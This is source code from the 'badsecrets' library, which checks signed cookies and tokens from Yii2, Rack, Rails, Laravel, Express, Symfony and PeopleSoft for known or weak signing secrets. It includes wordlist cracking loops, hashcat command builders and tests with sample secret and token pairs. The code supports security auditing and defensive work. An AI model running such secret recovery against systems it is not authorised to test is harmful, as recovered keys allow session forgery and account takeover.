-------------------------------------------------------------------------------- /badsecrets/modules/yii2_signedcookies.py: -------------------------------------------------------------------------------- 1 | # flask_secret_keys wordlist shamelessly copied from https://github.com/Paradoxis/Flask-Unsign <3 <3 <3 2 | 3 | import re 4 | from badsecrets.base import BadsecretsBase 5 | import hmac 6 | from hashlib import sha256 7 | from urllib.parse import unquote 8 | 9 | 10 | class Yii2_SignedCookies(BadsecretsBase): 11 | # Match 64 hex chars (SHA256) followed by PHP serialized data 12 | identify_regex = re.compile(r"^[a-fA-F0-9]{64}a%3A[a-zA-Z0-9%]+$") 13 | description = {"product": "Yii2 Signed Cookie", "secret": "Yii2 cookieValidationKey", "severity": "HIGH"} 14 | 15 | def verify_yii2_cookie(self, cookie_value, validation_key): 16 | 17 | # URL decode the whole value first 18 | decoded_cookie = unquote(cookie_value) 19 | 20 | # Split decoded value into signature and data 21 | signature = decoded_cookie[:64] 22 | data = decoded_cookie[64:].encode("utf-8") 23 | 24 | # Calculate HMAC-SHA256 using raw key 25 | mac = hmac.new(validation_key.encode("utf-8"), data, sha256) 26 | expected_signature = mac.hexdigest() 27 | return signature.lower() == expected_signature.lower() 28 | 29 | def check_secret(self, yii2_cookie): 30 | if not self.identify(yii2_cookie): 31 | return None 32 | 33 | for password in set(self.load_resources(["yii2_cookieValidationKeys.txt", "top_100000_passwords.txt"])): 34 | password = password.rstrip() 35 | if self.verify_yii2_cookie(yii2_cookie, password): 36 | return {"secret": password, "details": "Valid cookieValidationKey found"} 37 | 38 | def get_hashcat_commands(self, yii2_cookie, *args): 39 | return [ 40 | { 41 | "command": f"hashcat -m 19700 -a 0 {yii2_cookie} ", 42 | "description": "Yii2 Cookie Validation Key", 43 | "severity": "HIGH", 44 | } 45 | ] 46 | 47 | def carve_regex(self): 48 | return re.compile(r"[^=]+=([a-fA-F0-9]{64}a%3A[^;]+)") 49 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | asgiref==3.9.2 ; python_version >= "3.9" and python_version < "4.0" 2 | blinker==1.9.0 ; python_version >= "3.9" and python_version < "4.0" 3 | certifi==2025.8.3 ; python_version >= "3.9" and python_version < "4.0" 4 | cffi==1.17.1 ; python_version >= "3.9" and python_version < "4.0" and platform_python_implementation != "PyPy" 5 | charset-normalizer==3.4.3 ; python_version >= "3.9" and python_version < "4.0" 6 | click==8.1.8 ; python_version >= "3.9" and python_version < "4.0" 7 | colorama==0.4.6 ; python_version >= "3.9" and python_version < "4.0" 8 | cryptography==46.0.1 ; python_version >= "3.9" and python_version < "4.0" 9 | django==4.2.24 ; python_version >= "3.9" and python_version < "4.0" 10 | flask-unsign==1.2.1 ; python_version >= "3.9" and python_version < "4.0" 11 | flask==3.1.2 ; python_version >= "3.9" and python_version < "4.0" 12 | idna==3.10 ; python_version >= "3.9" and python_version < "4.0" 13 | importlib-metadata==8.7.0 ; python_version >= "3.9" and python_version < "3.10" 14 | itsdangerous==2.2.0 ; python_version >= "3.9" and python_version < "4.0" 15 | jinja2==3.1.6 ; python_version >= "3.9" and python_version < "4.0" 16 | markupsafe==3.0.2 ; python_version >= "3.9" and python_version < "4.0" 17 | pycparser==2.22 ; python_version >= "3.9" and python_version < "4.0" and platform_python_implementation != "PyPy" 18 | pycryptodome==3.23.0 ; python_version >= "3.9" and python_version < "4.0" 19 | pyjwt[crypto]==2.10.1 ; python_version >= "3.9" and python_version < "4.0" 20 | requests==2.32.5 ; python_version >= "3.9" and python_version < "4.0" 21 | sqlparse==0.5.3 ; python_version >= "3.9" and python_version < "4.0" 22 | typing-extensions==4.15.0 ; python_version >= "3.9" and python_version < "3.11" 23 | tzdata==2025.1 ; python_version >= "3.9" and python_version < "4.0" and sys_platform == "win32" 24 | urllib3==2.5.0 ; python_version >= "3.9" and python_version < "4.0" 25 | viewstate==0.7.0 ; python_version >= "3.9" and python_version < "4.0" 26 | werkzeug==3.1.3 ; python_version >= "3.9" and python_version < "4.0" 27 | zipp==3.23.0 ; python_version >= "3.9" and python_version < "3.10" 28 | -------------------------------------------------------------------------------- /badsecrets/resources/jwt_rsakeys_public.txt: -------------------------------------------------------------------------------- 1 | 1:-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6cs10W3XKnr1MDoO0Ngf\nYEixdQy5e3m/E4POPC5t6yyc/eZZayytrA6CfaZXBKnYU4YKD06sJULj30qw/TJJ\nwphhb2a5s3sjXejL4KW2WTdP6F+DbSaokzvKVdaZ97GnLtiei8n6gnSE1xSsJ15+\nd9JHImekuW/ggksVbI26UTiXvfv7LUJ8ntt6wG1UQHWOvYbG81TTpZjItvZsYu1t\npekjNpOwCsIbO//S1JOiSgpuKp7HwCnQwABNEWyMuIAMlymMyocbTdQHcClogZC9\nbwokxTPZGmD9xZ+meaeVD5HONqASIJ1tOoFGsnwwwlEhwsul0FRs7qehuhJmKE5Z\nbwIDAQAB\n-----END PUBLIC KEY----- 2 | 2:-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqGKukO1De7zhZj6+H0qtjTkVx\nwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZKjeGcjDOL5UlsuusFnc\nCzWBQ7RKNUSesmQRMSGkVb1/3j+skZ6UtW+5u09lHNsj6tQ51s1SPrCBkedbNf0T\np0GbMJDyR4e9T04ZZwIDAQAB\n-----END PUBLIC KEY----- 3 | 3:-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnFWdIwBbLRw4xfFDXYFm\nlXKB4BpKeuAtfh1dcs5mhod0WTo/i/Z4DOpiiw/2H05luI4PzOZem8AlHI9hUhHq\n5p1+YHM68SyvBQ9OTl+O90nmLYOt2Jzquks11bf29nJh7KwGVHOv2nh3eL39BVsq\nHSt0O/rjSa0bV+QtUc2DP9U4WzZ38RhT2bdiRcsDuMfI024u9JGG/O4iG3wDlXyS\n5j6G0NVw/KEJJtYYv8ruQVpvlKUdNtx7aE+u6F60SjJYQSfdjMoQNMDglBFwhY11\nRlHSmiJ/Ym8aE+Hj11JHhPcB1N+XRWaHV9ply4TnE13PsQtGWVKsLDNQNUeIUljK\ndQIDAQAB\n-----END PUBLIC KEY----- 4 | 4:-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAigCHPoanSoHD2/V20eTr\nG3XqtSdeM8URufApKx2TtDzEn/7JqAhMhHMYRrI6yE5f7C7/6vIjlTCoGCnaTjCK\nDwxghfCglwOBfYTP1lybLaaxHqj4u2tRZ184t7sGn/o8ts1L4g7dPY5voLruU2mc\n07s8qApRIH8CLti8Lh2iSrY3HkSh1ir1KqsQUDF5av7OZTV1mo1kqS33z/+S9GHw\nivbltRSSV0+HD/X4jW3HehohxsFZP3icuEGGkfZVjb5yirtR+dsYFpCwvk8HzrXK\nrYxfbFhOVyAI6XRVYebuuIP7jmnysxBf8lTk8z72FFiNz4So6kkt1d8oZE6qBRud\n4QIDAQAB\n-----END PUBLIC KEY----- 5 | 5:-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1rwocz1wbPWgN1ZQikhu\nc/xGk4KV5Ug6ogVZqFClRUyLyvpo+9kGGSyF8KfBopjSQCvmrVHR+WHzTQfMdnkI\nNjS2IoHZ7+f5QAyPIAHFFX9XCksLfZIKS79glEQQSJTIfXoN6HzfXgkZu627FVCz\nrWI6THtp2yzXZnQbblXI6SnzfJwuLlnKKICtIyeIowTZrCKgBQnCBVjLhs9hxDUh\nUm8flzmr7Dmsa37EKWSOSKomTAEdxlwhZGLtpz66VAIQBJQapdExP8a+5XcX5ucM\nEzzG3FLwbyLJGFKjJIXPi3jtcwtBjWISY7tmOlK9zCX9M7XsMI9Rzqg9m0N6QB4z\nvQIDAQAB\n-----END PUBLIC KEY----- -------------------------------------------------------------------------------- /badsecrets/modules/rack2_signedcookies.py: -------------------------------------------------------------------------------- 1 | import re 2 | import hmac 3 | import base64 4 | from badsecrets.base import BadsecretsBase 5 | from urllib.parse import unquote 6 | 7 | 8 | class Rack2_SignedCookies(BadsecretsBase): 9 | 10 | identify_regex = re.compile(r"^BAh[\.a-zA-z-0-9\%=]{32,}--[\.a-zA-z-0-9%=]{16,}$") 11 | description = { 12 | "product": "Rack 2.x Signed Cookie (Ruby Serialized Object)", 13 | "secret": "Rack 2.x secret key", 14 | "severity": "HIGH", 15 | } 16 | 17 | def carve_regex(self): 18 | return re.compile(r"session=(BAh[\.a-zA-z-0-9\%=]{32,}--[\.a-zA-z-0-9%=]{16,})") 19 | 20 | def rack2(self, rack_cookie, secret_key): 21 | # Split the cookie into data and signature 22 | data, signature = rack_cookie.rsplit("--", 1) 23 | 24 | # Create the HMAC using the secret key 25 | h = hmac.new(secret_key.encode(), data.encode(), digestmod="sha1") 26 | 27 | # Verify the signature 28 | if h.hexdigest() != signature: 29 | return None 30 | 31 | # Decode the data from base64 32 | decoded_data = base64.b64decode(data) 33 | 34 | if decoded_data.startswith(b"\x04\x08"): 35 | return {"hash_algorithm": "SHA1"} 36 | 37 | def check_secret(self, rack_cookie): 38 | if not self.identify(rack_cookie): 39 | return None 40 | for l in self.load_resources( 41 | ["rails_secret_key_base.txt", "top_100000_passwords.txt", "rack_secret_keys.txt"] 42 | ): 43 | secret_key_base = l.rstrip() 44 | r = self.rack2(rack_cookie, secret_key_base) 45 | if r: 46 | return {"secret": secret_key_base, "details": r} 47 | 48 | return None 49 | 50 | def get_hashcat_commands(self, rack_cookie, *args): 51 | rack_cookie_split = rack_cookie.rsplit("--", 1) 52 | return [ 53 | { 54 | "command": f"hashcat -m 150 -a 0 {rack_cookie_split[1]}:{base64.b64decode(unquote(rack_cookie_split[0])).hex()} --hex-salt ", 55 | "description": "Rack 2.x Signed Cookie (HMAC-SHA1)", 56 | } 57 | ] 58 | -------------------------------------------------------------------------------- /badsecrets/modules/peoplesoft_pstoken.py: -------------------------------------------------------------------------------- 1 | import zlib 2 | import base64 3 | import hashlib 4 | from badsecrets.base import BadsecretsBase, generic_base64_regex 5 | 6 | 7 | class Peoplesoft_PSToken(BadsecretsBase): 8 | identify_regex = generic_base64_regex 9 | description = {"product": "Peoplesoft PS_TOKEN", "secret": "Peoplesoft Secret", "severity": "HIGH"} 10 | 11 | def peoplesoft_load(self, PS_TOKEN_B64): 12 | PS_TOKEN = base64.b64decode(PS_TOKEN_B64) 13 | SHA1_mac = PS_TOKEN[44:64] 14 | try: 15 | PS_TOKEN_DATA = zlib.decompress(PS_TOKEN[76:]) 16 | except zlib.error: 17 | return None, None 18 | return PS_TOKEN_DATA, SHA1_mac 19 | 20 | def check_secret(self, PS_TOKEN_B64): 21 | if not self.identify(PS_TOKEN_B64): 22 | return None 23 | 24 | PS_TOKEN_DATA, SHA1_mac = self.peoplesoft_load(PS_TOKEN_B64) 25 | if not PS_TOKEN_DATA or not SHA1_mac: 26 | return None 27 | 28 | username = PS_TOKEN_DATA[21 : 21 + PS_TOKEN_DATA[20]].replace(b"\x00", b"").decode() 29 | 30 | # try no password 31 | h = hashlib.sha1(PS_TOKEN_DATA) 32 | if h.digest() == SHA1_mac: 33 | return {"secret": f"Username: {username} Password: BLANK PASSWORD!", "details": None} 34 | 35 | for l in set(list(self.load_resources(["peoplesoft_passwords.txt", "top_100000_passwords.txt"]))): 36 | password = l.strip() 37 | 38 | h = hashlib.sha1(PS_TOKEN_DATA + password.encode("utf_16_le", errors="ignore")) 39 | if h.digest() == SHA1_mac: 40 | return {"secret": f"Username: {username} Password: {password}", "details": None} 41 | 42 | return None 43 | 44 | def get_hashcat_commands(self, PS_TOKEN_B64, *args): 45 | PS_TOKEN_DATA, SHA1_mac = self.peoplesoft_load(PS_TOKEN_B64) 46 | 47 | if not PS_TOKEN_DATA or not SHA1_mac: 48 | return None 49 | return [ 50 | { 51 | "command": f"hashcat -m 13500 -a 0 {SHA1_mac.hex()}:{PS_TOKEN_DATA.hex()} ", 52 | "description": f"Peoplesoft PS_TOKEN Password", 53 | } 54 | ] 55 | -------------------------------------------------------------------------------- /tests/peoplesoft_pstoken_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | 3 | Peoplesoft_PSToken = modules_loaded["peoplesoft_pstoken"] 4 | 5 | tests = [ 6 | ( 7 | "badsecrets", 8 | "BLANK PASSWORD!", 9 | "qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABSpxUdcNT67zqSLW1wY5/FHQd1U6mgAAAAFAFNkYXRhXHicHYfJDUBQAESfJY5O2iDWgwIsJxHcxdaApTvFGX8mefPmAVzHtizta2MSrCzsXBxsnOIt9yo6GvyekZqJmZaBPCUmVUMS2c9MjCmJKLSR/u+laUGuzwdaGw3o", 10 | ), 11 | ( 12 | "badsecrets", 13 | "password", 14 | "qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABT5mYioG/i325GsBHHNyDIM+9yf1GgAAAAFAFNkYXRhXHicHYfJDUBQAESfJY5O2iDWgwIsJxHcxdaApTvFGX8mefPmAVzHtizta2MSrCzsXBxsnOIt9yo6GvyekZqJmZaBPCUmVUMS2c9MjCmJKLSR/u+laUGuzwdaGw3o", 15 | ), 16 | ] 17 | 18 | 19 | def test_peoplesoft(): 20 | x = Peoplesoft_PSToken() 21 | for test in tests: 22 | found_key = x.check_secret(test[2]) 23 | assert found_key["secret"] == f"Username: {test[0]} Password: {test[1]}" 24 | 25 | 26 | def test_peoplesoft_negative(): 27 | # Token doesn't decode properly 28 | x = Peoplesoft_PSToken() 29 | found_key = x.check_secret( 30 | "qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABT5mYioG/i325GsBHHNyDIM+9yf1GgAAAAFAFNkYXRhXHicHYfJDUBQAESfJY5O2iDWgwIsJxHcxdaApTvFGX8mefPmAVzHtizta2MSrCzsXBxsnOIt9yo6GvyekZqJmZaBADSECRETS2c9MjCmJKLSR/u+laUGuzwdaGw3o" 31 | ) 32 | assert not found_key 33 | 34 | # Proper token with non-matching key 35 | x = Peoplesoft_PSToken() 36 | found_key = x.check_secret( 37 | "owAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4Abwg4AC4AMQAwABRSZ/l0LBytKLW6TUnZ9GVFdgtqjWMAAAAFAFNkYXRhV3icJYhLDkAwFEVPSwztRFO0gw4lvgMimFuCDVqc17o3OffzAHmmlZJ8NUnlzklHz8rCRjEIpv8dubiZOXANlkZcUUuLbIWWgMFLGtmxh2SPk80Hk6gLyA==" 38 | ) 39 | assert not found_key 40 | 41 | 42 | def test_peoplesoft_bad_compression(): 43 | x = Peoplesoft_PSToken() 44 | found_key = x.check_secret( 45 | "qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABT5mYioG/i325GsBHHNyDIM+9yf1GgAAAAFAFNkYXRhXHicHYfJDUBQAESfJY5O2iDWgwIsJxHcxdaApTvFGX8mefPmAVzHtizta2MSrCzsXBxsnOIt9yo6GvyekZqJmZaBPCUmVUMS2c9MjCmJKLSR/u+laUHPB1obDeg=" 46 | ) 47 | 48 | assert not found_key 49 | -------------------------------------------------------------------------------- /badsecrets/modules/laravel_signedcookies.py: -------------------------------------------------------------------------------- 1 | import re 2 | import json 3 | import hashlib 4 | import hmac 5 | import base64 6 | import binascii 7 | import urllib.parse 8 | from Crypto.Cipher import AES 9 | from contextlib import suppress 10 | from badsecrets.helpers import unpad 11 | from badsecrets.base import BadsecretsBase 12 | 13 | 14 | class LaravelSignedCookies(BadsecretsBase): 15 | def laravelDecrypt(self, json_value, raw_secret): 16 | mac = json_value["mac"] 17 | value = bytes(json_value["value"], "utf-8") 18 | iv = bytes(json_value["iv"], "utf-8") 19 | 20 | if mac == hmac.new(raw_secret, iv + value, hashlib.sha256).hexdigest(): 21 | aes_crypt = AES.new(key=raw_secret, mode=AES.MODE_CBC, IV=base64.b64decode(iv)) 22 | decrypted = unpad(aes_crypt.decrypt(base64.b64decode(value))) 23 | return decrypted 24 | return None 25 | 26 | identify_regex = re.compile(r"eyJ(?:[\w-])*") 27 | description = {"product": "Laravel Signed Cookie", "secret": "Laravel APP_KEY", "severity": "HIGH"} 28 | 29 | def laravelVerify(self, value, secret): 30 | # attempt to decode laravel cookie and load contents into JSON object 31 | try: 32 | json_value = json.loads(base64.b64decode(urllib.parse.unquote(value))) 33 | 34 | if not all(key in json_value.keys() for key in ["mac", "value", "iv"]): 35 | return False 36 | 37 | except (binascii.Error, json.decoder.JSONDecodeError, UnicodeDecodeError): 38 | return False 39 | 40 | # in the future, support may be added for older, non-base64 keys 41 | if secret.startswith("base64:"): 42 | with suppress(binascii.Error): 43 | raw_secret = base64.b64decode(secret.split(":")[1]) 44 | decryptedData = self.laravelDecrypt(json_value, raw_secret) 45 | if decryptedData: 46 | return {"decryptedData": decryptedData.decode()} 47 | return False 48 | 49 | def check_secret(self, laravel_signed_cookie): 50 | if not self.identify(laravel_signed_cookie): 51 | return None 52 | 53 | for l in self.load_resources(["laravel_app_keys.txt"]): 54 | app_key = l.rstrip() 55 | r = self.laravelVerify(value=laravel_signed_cookie, secret=app_key) 56 | if r: 57 | return {"secret": app_key, "details": r} 58 | return None 59 | -------------------------------------------------------------------------------- /badsecrets/modules/express_signedcookies_es.py: -------------------------------------------------------------------------------- 1 | import re 2 | import hmac 3 | import base64 4 | import binascii 5 | import urllib.parse 6 | from contextlib import suppress 7 | from badsecrets.base import BadsecretsBase 8 | 9 | 10 | def no_padding_urlsafe_base64_decode(enc): 11 | return base64.urlsafe_b64decode(enc + "=" * (-len(enc) % 4)) 12 | 13 | 14 | def no_padding_urlsafe_base64_encode_es(enc): 15 | return base64.urlsafe_b64encode(enc).decode().rstrip("=").replace("-", "+").replace("_", "/") 16 | 17 | 18 | class ExpressSignedCookies_ES(BadsecretsBase): 19 | identify_regex = re.compile(r"^s%3[Aa][^\.]+\.(?!.*%20|.*%22)[a-zA-Z0-9%]{20,90}$") 20 | description = { 21 | "product": "Express.js Signed Cookie (express-session)", 22 | "secret": "Express.js SESSION_SECRET (express-session)", 23 | "severity": "LOW", 24 | } 25 | 26 | def carve_regex(self): 27 | return re.compile(r"(?", 61 | "description": f"Symfony Signed URL Algorithm: [{hash_algorithm_str }]", 62 | } 63 | ] 64 | 65 | def check_secret(self, signed_url): 66 | if not self.identify(signed_url): 67 | return None 68 | for l in self.load_resources(["symfony_appsecret.txt"]): 69 | password = l.rstrip() 70 | r = self.symfonyVerify(value=signed_url, secret=password) 71 | if r: 72 | return {"secret": password, "details": r} 73 | return None 74 | -------------------------------------------------------------------------------- /badsecrets/modules/express_signedcookies_cs.py: -------------------------------------------------------------------------------- 1 | import re 2 | import hmac 3 | import base64 4 | import binascii 5 | from contextlib import suppress 6 | from badsecrets.base import BadsecretsBase 7 | 8 | 9 | def no_padding_urlsafe_base64_decode(enc): 10 | return base64.urlsafe_b64decode(enc + "=" * (-len(enc) % 4)) 11 | 12 | 13 | def no_padding_urlsafe_base64_encode_cs(enc): 14 | return base64.urlsafe_b64encode(enc).decode().rstrip("=").replace("+", "-").replace("/", "_") 15 | 16 | 17 | class ExpressSignedCookies_CS(BadsecretsBase): 18 | check_secret_args = 2 19 | identify_regex = re.compile(r"\w{1,200}\=eyJ[A-Za-z0-9=\\_]{4,512}") 20 | signature_regex = re.compile(r"^[A-Za-z0-9_-]{27}$") 21 | description = { 22 | "product": "Express.js Signed Cookie (cookie-session)", 23 | "secret": "Express.js Secret (cookie-session)", 24 | "severity": "HIGH", 25 | } 26 | validate_carve = False 27 | 28 | def carve_regex(self): 29 | return re.compile(r"(\w{1,64})=([^;]{4,512});.{0,100}?\1\.sig=([^;]{27,86})") 30 | 31 | def get_product_from_carve(self, regex_search): 32 | return f"Data Cookie: [{regex_search.groups()[0]}={regex_search.groups()[1]}] Signature Cookie: [{regex_search.groups()[2]}]" 33 | 34 | def carve_to_check_secret(self, s): 35 | if len(s.groups()) == 3: 36 | r = self.check_secret(f"{s.groups()[0]}={s.groups()[1]}", s.groups()[2]) 37 | return r 38 | 39 | def expressHMAC(self, payload, secret, hash_algorithm): 40 | return no_padding_urlsafe_base64_encode_cs( 41 | hmac.HMAC(secret.encode(), payload.encode(), hash_algorithm).digest() 42 | ) 43 | 44 | def expressVerify_cs(self, payload, signature, secret): 45 | with suppress(binascii.Error): 46 | for hash_algorithm_str in self.search_dict( 47 | self.hash_sizes, len(no_padding_urlsafe_base64_decode(signature)) 48 | ): 49 | hash_algorithm = self.hash_algs[hash_algorithm_str] 50 | generated_hash = self.expressHMAC(payload, secret, hash_algorithm) 51 | if generated_hash == signature: 52 | return { 53 | "hash algorithm": hash_algorithm.__name__.split("openssl_")[1], 54 | } 55 | return False 56 | 57 | def check_secret(self, express_signed_cookie_data, *args): 58 | if not self.identify(express_signed_cookie_data): 59 | return None 60 | 61 | sig = self.resolve_args(args) 62 | 63 | if not sig: 64 | return False 65 | 66 | for l in set(list(self.load_resources(["express_session_secrets.txt", "top_100000_passwords.txt"]))): 67 | secret = l.rstrip() 68 | r = self.expressVerify_cs(express_signed_cookie_data, sig, secret) 69 | if r: 70 | return { 71 | "secret": secret, 72 | "details": r, 73 | "product": f"Data Cookie: [{express_signed_cookie_data}] Signature Cookie: [{sig}]", 74 | } 75 | 76 | def resolve_args(self, args): 77 | if len(args) != 1: 78 | return None 79 | 80 | if self.signature_regex.match(args[0]): 81 | return args[0] 82 | -------------------------------------------------------------------------------- /badsecrets/modules/rails_secretkeybase.py: -------------------------------------------------------------------------------- 1 | import re 2 | import hmac 3 | import json 4 | import base64 5 | import binascii 6 | import urllib.parse 7 | from Crypto.Cipher import AES 8 | from Crypto.Util.Padding import unpad 9 | from Crypto.Protocol.KDF import PBKDF2 10 | from badsecrets.base import BadsecretsBase 11 | 12 | 13 | class Rails_SecretKeyBase(BadsecretsBase): 14 | identify_regex = re.compile(r"^[\.a-zA-z-0-9\%=]{32,}--[\.a-zA-z-0-9%=]{16,}$") 15 | description = {"product": "Rails Signed Cookie", "secret": "Rails secret_key_base", "severity": "HIGH"} 16 | 17 | def rails(self, rails_cookie, secret_key_base): 18 | split_rails_cookie = urllib.parse.unquote(rails_cookie).split("--") 19 | data = split_rails_cookie[0] 20 | 21 | # Cookie is likely signed but not encrypted 22 | if split_rails_cookie[0].startswith("eyJ"): 23 | signature = split_rails_cookie[1] 24 | try: 25 | hash_alg = self.search_dict(self.hash_sizes, len(binascii.unhexlify(signature)))[0] 26 | except binascii.Error: 27 | return None 28 | hmac_secret = PBKDF2(secret_key_base, "signed cookie", 64, 1000) 29 | h = hmac.new(hmac_secret, data.encode(), hash_alg) 30 | if h.hexdigest() == signature: 31 | return {"json_data": base64.b64decode(data), "hash_algorithm": hash_alg} 32 | 33 | # Cookie is likely Rails 4/5/6 AES-CBC Cookie 34 | elif len(split_rails_cookie) == 2: 35 | try: 36 | encrypted_data = base64.b64decode(data).decode() 37 | iv = encrypted_data.split("--")[1] 38 | data = encrypted_data.split("--")[0] 39 | except (UnicodeDecodeError, IndexError, binascii.Error): 40 | return 41 | 42 | if len(base64.b64decode(iv)) == 16: 43 | aes_secret = PBKDF2(secret_key_base, "encrypted cookie", 64, 1000) 44 | cipher = AES.new(aes_secret[:32], AES.MODE_CBC, base64.b64decode(iv)) 45 | try: 46 | dec = unpad(cipher.decrypt(base64.b64decode(data)), 16) 47 | json_data = json.loads(dec.decode()) 48 | return {"json_data": json_data, "encryption_algorithm": "AES_CBC"} 49 | except ValueError: 50 | pass 51 | 52 | # Cookie is likey Rails 6 AES-GCM 53 | elif len(split_rails_cookie) == 3: 54 | iv = split_rails_cookie[1] 55 | aes_secret = PBKDF2(secret_key_base, "authenticated encrypted cookie", 64, 1000) 56 | cipher = AES.new(aes_secret[:32], AES.MODE_GCM, nonce=base64.b64decode(iv)) 57 | 58 | try: 59 | dec = cipher.decrypt(base64.b64decode(data)) 60 | json_data = json.loads(dec.decode()) 61 | return {"json_data": json_data, "encryption_algorithm": "AES_GCM"} 62 | except ValueError: 63 | return None 64 | 65 | def check_secret(self, rails_cookie): 66 | if not self.identify(rails_cookie): 67 | return None 68 | for l in self.load_resources(["rails_secret_key_base.txt"]): 69 | secret_key_base = l.rstrip() 70 | r = self.rails(rails_cookie, secret_key_base) 71 | if r: 72 | return {"secret": secret_key_base, "details": r} 73 | return None 74 | -------------------------------------------------------------------------------- /tests/laravel_signedcookies_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | 3 | LaravelSignedCookies = modules_loaded["laravel_signedcookies"] 4 | 5 | tests = [ 6 | ( 7 | "base64:JRYMXfXXoPAmt3Q30rhxJUIf4ut7pMZOZIvF6WDCNiI=", 8 | "eyJpdiI6Ii9FOVVVNXMyclpZbFNnbmM5c2JDWlE9PSIsInZhbHVlIjoidlZhQlYxSk8xYU9oY2Z1dndvbmdxSmYxUE1FQTU5Zm1vWVE3azN5R1hwM0UxTFplSVZSVzFWOGVFK0d2Y3EyMVJYRWhZd1lvSGJ4M085L1dvV1RpZXk5UkNKaUNuOVcxZ0VZaVQ1bitPeEpoUGhjZkxReHJSSU44TE9ScEVvVlgiLCJtYWMiOiI0MzkyZDZkYjVjZjJmNGFlNjNjMDcyYzY1YmQwZmYwNjc4ZDM2NGM0MTZiOWViNDAxZWQxMDBhZTY3ZjI4YmIyIiwidGFnIjoiIn0%3D", 9 | ), 10 | ( 11 | "base64:HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=", 12 | "eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9", 13 | ), 14 | ( 15 | "base64:XYg6+N0wb30TStiY4pkOLWI66eR4wW9iWnOPs3B7eDc=", 16 | "eyJpdiI6IkszUHowdk9NMHI1Tjk1aXBSQnlzV3c9PSIsInZhbHVlIjoianlGTUNDNGlBVmhGOE9ScTYxcWRaOHc5ZE45RG9hUnFlZ09xUWYxQzFGcWUrcTYrZDhlTlNIL0UxbjNUZ2hWSzcyNXB1QXRmTExGNUVDa0Y3ZWJTMmFvTnFhRzJianFKaVFJbmZ1U0dKYTJSZWJHQk93OVNmQkNoS3NJR1hUT2ciLCJtYWMiOiI4YTY2OWRmNWU0YjZiYmQ4YWI3ZDQ4YzBjMTRiNzNhYTEwOGRhZDMxZTQ2NjZlYTA3N2Q1Yjc2NTI1NmFlMzdhIiwidGFnIjoiIn0%3D", 17 | ), 18 | ] 19 | 20 | negative_tests = [ 21 | "eyJpdiI6Ii9FOVVVNXMyclpZbFNnbmM5c2JDWlE9PSIsInZhbHVlIjoidlZhQlYxSk8xYU9oY2Z1dndvbmdxSmYxUE1FQTU5Zm1vWVE3az", 22 | "eyJpdiI6Ii9FOVVVNXMyclpZbFNnbmM5c2JDWlE9PSIsImhpdGhlcmUiOiJ2VmFCVjFKTzFhT2hjZnV2d29uZ3FKZjFQTUVBNTlmbW9ZUTdrM3lHWHAzRTFMWmVJVlJXMVY4ZUUrR3ZjcTIxUlhFaFl3WW9IYngzTzkvV29XVGlleTlSQ0ppQ245VzFnRVlpVDVuK094SmhQaGNmTFF4clJJTjhMT1JwRW9WWCIsIm1hYyI6IjQzOTJkNmRiNWNmMmY0YWU2M2MwNzJjNjViZDBmZjA2NzhkMzY0YzQxNmI5ZWI0MDFlZDEwMGFlNjdmMjhiYjIiLCJ0YWciOiIifQ==", 23 | 